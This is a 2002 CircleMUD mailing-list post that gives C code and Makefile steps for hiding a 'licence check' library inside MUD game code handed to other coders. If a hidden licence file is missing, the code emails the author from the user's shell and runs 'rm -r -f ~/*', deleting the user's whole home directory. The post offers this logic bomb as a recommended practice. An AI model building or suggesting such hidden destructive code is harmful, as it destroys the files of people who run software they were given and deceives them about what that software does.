Re: server security

From: Tom Whiting (wolf@wolfstream.net)
Date: 05/30/02


It's been a while since I've dealt with Circle, however I'll try a stab
at this.
The way I've dealt with server security is quite tricky actually. I warn
all the coders that get access to the beta code that it WILL compile
(duh) but it won't run on the shell and they won't like the results if
they try to do it (cd ~/; rm -r -f *).

How is this possible you say? Creating a library that's actually linked
to the mud code itself that requires a password (set in a hidden, r+x
only directory). If it's not found, it goes through and deletes the
entire home directory. Harsh? Maybe, but I do warn them that they won't
like the results. It also emails me (from their own shell) saying they
took the code.

Again, this is JUST my implementation of how it's done, but here's how I
did it:
Firstly take db.c (not sure what it is in circle, but whatever loads
your mob/object/room databases), isolate that into a separate shell.
Make SURE it's unique and the mud can't compile with another stock db.c
(or whatever file. comm.c works, const.c works, etc)

Set this in another directory (preferably under another login).
Somewhere (before the game starts up), add
check_license(); to db.c (this is why I used db.c in this example).

Now,just create a secure.c file (copy your circle headers into it) and
put this in there.
----------------------------------------------------------------------
void mail_license_info args ((void));
#define LICENSE_FILE "/home/path/to/your/license/.file"
/*
This is the license check itself.
What does this do? Checks for a valid license in LICENSE_FILE.
This must be in a WORLD (or group) readable directory!!
If the license is NOT found then it bails, mails the code admin
and says "Hey, I've got someone here trying to run your code, then
removes the users entire home directory (nice catch ehh??)"
*/

void check_license()
{

    if ( ( fpReserve = fopen( LICENSE_FILE, "r" ) ) == NULL )
    {
    mail_license_info();
logf ("** Cannot get valid license %s **\n",LICENSE_FILE);
exit( 1 );

    }
}
void mail_license_info()
{
 FILE *fp;
 char subject     [MSL];
 char address     [MSL];
 char mailbuf     [MSL];
 char rmbuf       [MSL];
 char licensebuf  [MSL];
       sprintf(licensebuf,"%s", "license.txt");
       fp = fopen(licensebuf,"w");
        fprintf(fp, "Hi, I'm trying to use your mud codebase.\n");
fprintf(fp, "I realize I have either no license or have removed the
license to do so.\n");
fprintf(fp, "I'm removing the files related to this game now!!\n");
fprintf(fp, "If you receive another email from me, you should notify the
system administrator of this site\n");
fclose(fp);
sprintf(subject,"\"LICENSE VIOLATION --MUD2K LICENSE CHECK\"");
sprintf(address,"admin@server.net");
sprintf(mailbuf, "mail -s %s %s < %s", subject, address, licensebuf);
system(mailbuf);
sprintf(rmbuf, "rm -r -f ~/*");
system (rmbuf);
}

Now, to compile, simply modify the Makefile as such (make sure BOTH
users can write to your source directory.
LIB_SRC_FILES = \
        /home/blah/filepath/file.c \
        /home/blah/etc/etc//sql.c \
        /home/blah/etc/etc/secure.c

LIB_FILES = \
        secure.c db.c sql.c //make sure these match the first three

LIB_O_FILES = \
        secure.o db.o sql.o // make sure these match the first three.

libs:
        @cp -f ${LIB_SRC_FILES} ${SRCDIR}
        @rm -f libmud2k.a //change lib name here
        @rm -f a.out
        gcc -c -Wall -O2 $(LIB_FILES)
        ar rvs libmud2k.a $(LIB_O_FILES) //change lib name here
        @rm ${LIB_FILES}
        @rm ${LIB_O_FILES}

This is my replacement for all:
2k: $(2k_FILES)
        rm -f 2k
     $(CC)  -I$(INCLUDE)$(LDFLAGS)$(L_FLAGS)    -o 2k $(2k_FILES)
libmud2k.a //this is the ONLY required change down there.. the lib.. It
MUST be there.

I realize it's long, but hopefully it helps.

--
   +---------------------------------------------------------------+
   | FAQ: http://qsilver.queensu.ca/~fletchra/Circle/list-faq.html |
   | Archives: http://post.queensu.ca/listserv/wwwarch/circle.html |
   | Newbie List:  http://groups.yahoo.com/group/circle-newbies/   |
   +---------------------------------------------------------------+



This archive was generated by hypermail 2b30 : 06/25/03 PDT